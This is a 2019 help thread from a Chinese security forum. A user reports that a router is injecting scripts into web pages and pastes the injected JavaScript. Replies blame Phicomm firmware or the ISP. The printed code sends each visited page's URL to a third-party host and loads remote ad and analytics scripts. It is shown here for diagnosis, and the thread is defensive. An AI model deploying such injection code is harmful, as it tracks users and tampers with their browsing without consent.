吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4129|回复: 10
收起左侧

求助!! 浏览器访问网页, 发现head头部被加入莫名脚本

[复制链接]
chenwenjie 发表于 2019-10-26 23:11
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 chenwenjie 于 2019-10-26 23:44 编辑

问题依旧在, 求助大佬~~  
关于路由器病毒今天我在调试自己的网站时候, 发现网页的head头部被加入了不是我写的script,
本以为是服务器的问题, 询问了服务器提供商, 人家说根本没问题,
然后我就换了朋友的电脑打开我的网站, 却没有发现类似的脚本
于是我就换了个网络, 果然, 是我的电脑网络有问题, 我用手机开热点访问网页就不会出现问题了.
然后我就想到了, 重置路由器, 重置完路由器发现没有被插入脚本了,果然是路由器中病毒了,
可是我还是想知道到底是这些脚本有什么用, 是不是盗取信息的木马, 总觉得过两天还是会再中这个病毒...
以下是路由器中病毒时, 访问任何网站, 头部都会被添加的脚本信息截图, head标签里居然还给我加div标签, 够狠
WH4E}GIJ_(4%`IYTYL6TNP8.png
求大神指示!
跳转后发现此JS代码:
(function() {
    function b_eror_st() {
        var hmeror = document.createElement("script");
        hmeror.src = "https://hm.baidu.com/hm.js?82131f194bfafb51664235f31934ebe0";
        var sceror = document.getElementsByTagName("script")[0];
        sceror.parentNode.insertBefore(hmeror, sceror)
    }
    try {
        try {
            var jspt = document.createElement("script");
            jspt.type = "text/javascript";
            var cururl = "";
            if (document) {
                if (document.URL) {
                    cururl = document.URL
                } else if (document.documentURI) {
                    cururl = document.documentURI
                }
            } else if (window && window.location && window.location.href) {
                cururl = window.location.href
            }
            jspt.innerHTML = "var imgjspt = new Image();imgjspt.src = 'http://m.x.xchmai.com/jspt.htm?s=568808220&p=911&e=" + encodeURIComponent(cururl) + "';";
            var jseror = document.getElementsByTagName("script")[0];
            jseror.parentNode.insertBefore(jspt, jseror)
        } catch(er) {
            try {
                var jspterr = document.createElement("script");
                jspterr.type = "text/javascript";
                var cururlerror = encodeURIComponent(er.stack ? er.stack.substr(0, 230) : er.message);
                jspterr.innerHTML = "var imgjspt = new Image();imgjspt.src = 'http://m.x.xchmai.com/jspt.htm?s=568808220&p=901&e=" + cururlerror + "';";
                var jserorer = document.getElementsByTagName("script")[0];
                jserorer.parentNode.insertBefore(jspterr, jserorer)
            } catch(erer) {}
        }
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?f5df380d5163c1cc4823c8d33ec5fa49";
        var sc0 = document.getElementsByTagName("script")[0];
        sc0.parentNode.insertBefore(hm, sc0);
        var b = 0; (function() {
            if (!document || !document.body) {
                b++;
                if (b >= 50) {
                    if (!document) {
                        b_eror_st();
                        throw new Error("document.error");
                        return
                    }
                    if (!document.body) {
                        b_eror_st();
                        document.body = document.createElement("body")
                    }
                }
                return setTimeout(arguments.callee, 100)
            }
            var m = {};
            m.page_url = window.location.href;
            m.dreamKey = "_maerd_dnegel_";
            m.js_node = null;
            function j() {
                var z = document;
                var x;
                if (document.currentScript) {
                    x = document.currentScript
                }
                for (var v = z.scripts,
                y = v.length - 1,
                w; w = v[y--];) {
                    if (w.src && w.src.indexOf("/jquery.js") != -1 && w.src.indexOf("_zxcvb_pid") != -1 && w.src.indexOf("_qwert_sid") != -1) {
                        if (!w.getAttribute("used")) {
                            x = w;
                            break
                        }
                    }
                }
                if (x) {
                    m.js_node = x;
                    m.js_node.setAttribute("used", 1);
                    m.js_src = m.js_node.getAttribute("src")
                }
                return x
            }
            j();
            if (!m.js_node || !m.js_src) {
                throw new Error("no jsnode")
            }
            var d = function(y, v) {
                var w = new RegExp("(\\?|#|&)" + v + "=([^&]*)(&|$)", "i");
                var x = y.match(w);
                return x !== null ? decodeURIComponent(x[2]) : ""
            };
            var i = null;
            var l = null;
            var r = m.js_src.split("?");
            if (r.length == 2) {
                i = r[1];
                l = r[0].replace("jquery.js", "fshow.js");
                var o = h(d(m.js_src, "_qwert_sid"));
                if (o == 416153783) {
                    l = r[0].replace("jquery.js", "fshow3.js")
                }
            }
            if (!i) {
                throw new Error("param error")
            }
            function k() {
                var v = new Date();
                var x = v.getMonth() + 1;
                var w = v.getDate();
                return v.getFullYear() + "" + (x > 9 ? x: "0" + x) + "" + (w > 9 ? w: "0" + w)
            }
            var f = (function() {
                var v = d(m.page_url, m.dreamKey);
                return v == 1 ? true: false
            })();
            if (f) {
                b_eror_st();
                throw new Error("my frame");
                return
            }
            var n = function(v) {
                return v == v.parent ? 0 : (arguments.callee(v.parent) + 1)
            };
            m.page_frameCount = n(window);
            var q = function() {
                var v = 0;
                try {
                    var y = window.top.document;
                    var w = window.parent.document;
                    v = 1
                } catch(x) {
                    try {
                        var w = window.parent.document;
                        v = 2
                    } catch(x) {}
                    try {
                        var y = window.top.document;
                        v = 3
                    } catch(x) {}
                }
                return v
            };
            m.page_isHomo = q();
            if (m.page_frameCount > 5) {
                b_eror_st();
                throw new Error("max Iframe:" + m.page_frameCount);
                return
            }
            function h(v) {
                if (typeof v !== "string") {
                    return v
                }
                if (typeof v.trim === "function") {
                    return v.trim()
                } else {
                    return v.replace(/^(\u3000|\s|\t|\u00A0)*|(\u3000|\s|\t|\u00A0)*$/g, "")
                }
            }
            var e = h(d(m.js_src, "_zxcvb_pid"));
            m.ad_slot_id = h(d(m.js_src, "_qwert_sid"));
            if (!e || !m.ad_slot_id) {
                throw new Error("no sid")
            }
            var u = 0;
            if (e.length == 12) {
                m.ad_pub_id = e.slice(3);
                m.ad_site_type = e.slice(0, 2);
                u = e.slice(2, 3)
            } else {
                m.ad_pub_id = e
            }
            m.adid = m.ad_pub_id + "_" + m.ad_slot_id;
            var p = h(d(m.js_src, "_mf"));
            p = p || u;
            if (m.page_frameCount > p) {
                throw new Error("in iframe:" + m.page_frameCount)
            }
            var g = k();
            var t = document.createElement("script");
            t.async = "async";
            t.src = l + "?" + i + "&_ver=" + g;
            m.js_node.parentNode.insertBefore(t, m.js_node);
            var s = (function() {
                var w = 3,
                y = document.createElement("div"),
                x = y.getElementsByTagName("i");
                while (y.innerHTML = "<!--[if gt IE " + (++w) + "]><i></i><![endif]-->", x[0]) {}
                return w > 4 ? w: false
            } ());
            if (!s) {
                m.js_node.parentNode.removeChild(m.js_node)
            }
        })()
    } catch(c) {
        b_eror_st();
        function a(i, g) {
            var j = document,
            l = window,
            k = encodeURIComponent;
            try {
                var n = [];
                n.push("name=" + k(i.name));
                n.push("msg=" + k(i.stack ? i.stack.substr(0, 230) : i.message));
                n.push("ref=" + k(j.referrer));
                n.push("ex=" + k(g));
                n.push("rnd=" + Math.floor(2147483648 * Math.random()))
            } catch(m) {}
        }
        a(c, "boot.js")
    }
})(window, document);

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

996579747 发表于 2019-10-26 23:32
刷路由器固件吧。 估计你的路由器是斐讯的。
 楼主| chenwenjie 发表于 2019-10-26 23:34
996579747 发表于 2019-10-26 23:32
刷路由器固件吧。 估计你的路由器是斐讯的。

所以容易中毒是吗
996579747 发表于 2019-10-26 23:37
chenwenjie 发表于 2019-10-26 23:34
所以容易中毒是吗

如果是斐讯的话那就是路由器自己加的。 网上有去广告的固件你自己刷一下就好了。
 楼主| chenwenjie 发表于 2019-10-26 23:43
996579747 发表于 2019-10-26 23:37
如果是斐讯的话那就是路由器自己加的。 网上有去广告的固件你自己刷一下就好了。

也没看到页面有广告啊, 如果是路由器自己加得, 那我为啥重置下就没了,, 不该是病毒吗, 后来植入
996579747 发表于 2019-10-26 23:59
chenwenjie 发表于 2019-10-26 23:43
也没看到页面有广告啊, 如果是路由器自己加得, 那我为啥重置下就没了,, 不该是病毒吗, 后来植入

只管刷固件就行了,确实是斐讯官方自己搞得。
lguang 发表于 2019-10-27 00:08
也有可能是宽带运营商加的……用朋友的电脑在同一网络下试试,还有问题就有可能是宽带运营商做的手脚。
i烦的很 发表于 2019-10-27 02:13
本帖最后由 i烦的很 于 2019-10-27 02:16 编辑
996579747 发表于 2019-10-26 23:32
刷路由器固件吧。 估计你的路由器是斐讯的。

我也斐讯的路由器,最近几个月 用没有广告拦截的手机浏览器 老是弹窗路由器系统升级,输密码账号竟然真能进路由器系统去,我用电脑进路由器系统查,提示已是最新系统,不知什么鬼。
 楼主| chenwenjie 发表于 2019-10-27 08:58
lguang 发表于 2019-10-27 00:08
也有可能是宽带运营商加的……用朋友的电脑在同一网络下试试,还有问题就有可能是宽带运营商做的手脚。

我朋友就是在同样的校园网下的
chmod755 发表于 2019-10-28 09:39
别用斐讯的路由器,原版的带东西了,如果是老版本的斐讯的话,建议看下刷路由器的教程,重新找个别的系统刷一下
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 19:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表